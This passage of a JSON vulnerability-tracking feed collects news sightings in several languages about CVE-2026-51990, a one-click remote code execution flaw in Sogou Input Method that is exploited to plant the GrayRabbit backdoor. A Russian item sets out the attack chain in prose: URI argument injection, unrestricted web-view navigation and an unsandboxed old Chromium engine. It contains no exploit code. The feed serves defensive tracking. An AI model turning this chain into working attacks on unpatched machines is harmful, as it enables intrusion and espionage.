\u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0642\u0631\u0628\u0627\u0646\u06cc\u0627\u0646 \u0645\u0633\u062a\u0642\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u00a9\ufe0f \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0627 \u06cc\u06a9 \u06a9\u0644\u06cc\u06a9 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062d\u0645\u0644\u0647 \u0628\u0627 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0644\u06cc\u0646\u06a9 \u0645\u062e\u0631\u0628 \u0622\u063a\u0627\u0632 \u0634\u062f\u0647 \u0648 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062a\u0632\u0631\u06cc\u0642 \u0641\u0631\u0645\u0627\u0646\u060c \u0645\u0631\u0648\u0631\u06af\u0631 \u062f\u0627\u062e\u0644\u06cc Sogou \u0648 \u06cc\u06a9 \u0646\u0633\u062e\u0647 \u0642\u062f\u06cc\u0645\u06cc \u0648 \u0628\u062f\u0648\u0646 sandbox \u0627\u0632 Chromium\u060c \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u00a9\ufe0f \u0628\u062f\u0627\u0641\u0632\u0627\u0631 GrayRabbit \u06cc\u06a9 \u0628\u06a9\u200c\u062f\u0648\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0642\u0627\u0628\u0644\u06cc\u062a \u0627\u062c\u0631\u0627\u06cc \u0641\u0631\u0627\u06cc\u0646\u062f\u0647\u0627\u060c \u0627\u06cc\u062c\u0627\u062f \u067e\u0648\u0633\u062a\u0647 \u0645\u0639\u06a9\u0648\u0633\u060c \u0633\u0631\u0642\u062a \u0641\u0627\u06cc\u0644\u200c\u0647\u0627 \u0648 \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0633\u06cc\u0633\u062a\u0645 \u0648 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u062f\u0627\u0631\u062f.\n\n\u00a9\ufe0f \u062f\u0631 \u0627\u062f\u0627\u0645\u0647: Tencent \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0631\u0627 \u062f\u0631 \u0646\u0633\u062e\u0647 16.3.0.3498 \u062f\u0631 \u0622\u0648\u0631\u06cc\u0644 \u06f2\u06f0\u06f2\u06f6 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a\u061b \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u0648\u062a\u0648\u0631 \u0645\u0631\u0648\u0631\u06af\u0631 \u062f\u0627\u062e\u0644\u06cc \u0647\u0645\u0686\u0646\u0627\u0646 \u0642\u062f\u06cc\u0645\u06cc \u0648 \u0641\u0627\u0642\u062f sandbox \u0627\u0633\u062a \u0648 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062e\u0637\u0631\u0627\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u062f.\n\n\ud83c\udf10 @HackerNewsCyber", "creation_timestamp": "2026-09-14T07:00:04.456822Z"}, {"uuid": "43a58e24-d7aa-4c2e-99d3-ed4c614e2cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/ransomnews.online/post/3mvhlzz7pwo2e", "content": "\u26a0\ufe0f\ud83d\udc30  Tencent flaw deploys GrayRabbit\n\nCVE-2026-51990 enables RCE through Sogou Input Method; fixed in version 16.3.\n\n\ud83d\udd17 read more: www.bleepingcomputer...\n\n#ransomNews #cyberthreats #GrayRabbit \n", "creation_timestamp": "2026-09-14T07:37:03.732211Z"}, {"uuid": "d57f03ca-3eba-4363-bd26-d86384b939c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvhs65r4ku2i", "content": "\ud83e\udd16 CVE-2026-51990: a China-aligned espionage group exploits a critical flaw in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor. Exploited in the wild.\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/", "creation_timestamp": "2026-09-14T09:26:43.780606Z"}, {"uuid": "5a42b597-04f3-4367-b5cc-a383bcd850ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mvhsn45rp22d", "content": "Hackers exploit Tencent app flaw to deploy GrayRabbit malware\n\nThreat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor. [...]\n#hackernews #news", "creation_timestamp": "2026-09-14T09:35:06.160243Z"}, {"uuid": "8af6c739-9f57-4c6a-9dbb-a53c5cf4f977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-13)", "content": "", "creation_timestamp": "2026-09-14T10:00:03.270366Z"}, {"uuid": "aeee5d71-1026-42f3-a3cb-9949b854e6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mvi32jjcl322", "content": "CVE-2026-51990 in Sogou Input Method enables a one-click exploit that injects command-line arguments and uses an outdated, unsandboxed Chromium engine to execute system-level code.\n", "creation_timestamp": "2026-09-14T12:05:46.269421Z"}, {"uuid": "16595b58-7d73-4010-80b5-b19ca2948b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/cybergeodigest.bsky.social/post/3mvianj6ax32k", "content": "Today's CyberGeoDigest \u2014 20 stories\n\nTop: China-Linked Group Exploits CVE-2026-51990 in Sogou Input to Drop GrayRabbit\n\n#APT #ThreatIntel #CyberSecurity", "creation_timestamp": "2026-09-14T13:45:51.642321Z"}, {"uuid": "c47e7677-6b4a-48f1-8f9c-2ebd6467c9b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mvimplvgsp2w", "content": "Here we go again with the predictable horror of end users running Tencent's Sogou Input Method for Windows walking straight into CVE-2026-51990. Threat actors are gleefully exploiting this high-severity mess in the wild to compromise endpoints and distribute lovely GrayRabbit mal...\n\nRead full story", "creation_timestamp": "2026-09-14T17:21:46.453217Z"}, {"uuid": "be5f7075-5e02-4d57-bf9e-300935a05373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://t.me/BleepingComputer/25549", "content": "\u200aHackers exploit Tencent app flaw to deploy GrayRabbit malware\n\nThreat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/", "creation_timestamp": "2026-09-14T20:00:04.912535Z"}, {"uuid": "03bb44cb-7887-462b-930f-ab39cb5286cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://t.me/true_secator/8608", "content": "\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b UNC3569 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2026-51990) \u0432 Sogou \u0434\u043b\u044f Windows \u043e\u0442 Tencent \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430 GrayRabbit \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438.\n\n\u0410\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Gen Digital, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432\u0448\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 (RCE) \u043e\u0434\u043d\u0438\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c \u043c\u044b\u0448\u0438.\n\nSogou Input Method - \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Windows, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0438\u0435\u0440\u043e\u0433\u043b\u0438\u0444\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0449\u0435\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a Chromium.\n\n\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Sogou Input Method, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0438\u0433\u0430\u043d\u0442\u043e\u043c Tencent, \u043f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0432 \u041a\u0438\u0442\u0430\u0435 \u0441\u043e\u0442\u043d\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0440\u0430\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Gen Threat Labs, UNC3569 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435: \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 URI sgbiz, \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0430\u044f \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u043e URL-\u0430\u0434\u0440\u0435\u0441\u0430\u043c \u0432 \u0432\u0435\u0431-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 CEF \u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439, \u043d\u0435\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u0432\u0438\u0436\u043e\u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chromium.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0436\u0435\u0440\u0442\u0432\u0430 \u0449\u0435\u043b\u043a\u0430\u0435\u0442 \u043f\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u043c\u0443 URI sgbiz:, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e Windows \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 biz_helper.exe \u043e\u0442 Sogou, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 SGMyInput.exe \u0431\u0435\u0437 \u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438.\n\n\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 SkinCenter \u043e\u0442 Sogou \u0438 \u0434\u0430\u044e\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u043c\u0443 \u0432 \u043d\u0435\u0433\u043e \u0432\u0435\u0431-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e Chromium \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c URL-\u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. Sogou \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u0445\u0435\u043c\u0443 \u0438\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0430.\n\n\u041d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u043c \u0434\u0432\u0438\u0436\u043a\u0435 Chromium 80 \u043e\u0442 Sogou. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u0435\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0441 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u0430\u0436\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0437\u0430\u0449\u0438\u0442\u044b, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 GrayRabbit.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Google\u00a0\u043e\u043f\u0438\u0441\u0430\u043b\u0438 GrayRabbit\u00a0\u043a\u0430\u043a \u043c\u043e\u0434\u0443\u043b\u044c\u043d\u043e\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0438 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0435\u0433\u043e \u0441 UNC3569, \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u043a\u0430\u043a \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a \u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u043d\u0430\u0439\u043c\u0443.\n\n\u041e\u0431\u0440\u0430\u0437\u0435\u0446 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Gen Threat Labs, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 \u0437\u0440\u0435\u043b\u044b\u0439 64-\u0431\u0438\u0442\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u043c \u043d\u0430\u0431\u043e\u0440\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 C2, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e RC4.\n\n\u0415\u0433\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u0441\u0431\u043e\u0440 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u0432\u043d\u0443\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0445\u043e\u0441\u0442\u0430.\n\nGen Threat Labs \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u0441\u0432\u043e\u0438\u043c\u0438 \u0432\u044b\u0432\u043e\u0434\u0430\u043c\u0438 \u0441 Tencent 9 \u0430\u043f\u0440\u0435\u043b\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Sogou Input Method 16.3.0.3498 \u043e\u0442 21 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\u041f\u0430\u0442\u0447 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b URL, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e HTTPS \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u043c\u0435\u043d\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 Sogou \u0438 Tencent.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0443\u0441\u0442\u0430\u0440\u0435\u043b \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u0435\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0435\u0431-\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b.", "creation_timestamp": "2026-09-14T23:00:03.285122Z"}, {"uuid": "4e593253-2223-4222-ae1c-67a95384c97a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "published-proof-of-concept", "source": "Telegram/DdYTYSDe8lvqixn7SsuHC2cVYP8OwvHWnrdarY89A6zETG4", "content": "", "creation_timestamp": "2026-09-15T00:00:21.229728Z"}, {"uuid": "9afb4bb4-3aee-4440-afe6-abe812ac3b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "exploited", "source": "https://t.me/true_secator/8608", "content": "\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b UNC3569 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2026-51990) \u0432 Sogou \u0434\u043b\u044f Windows \u043e\u0442 Tencent \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430 GrayRabbit \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438.\n\n\u0410\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Gen Digital, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432\u0448\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 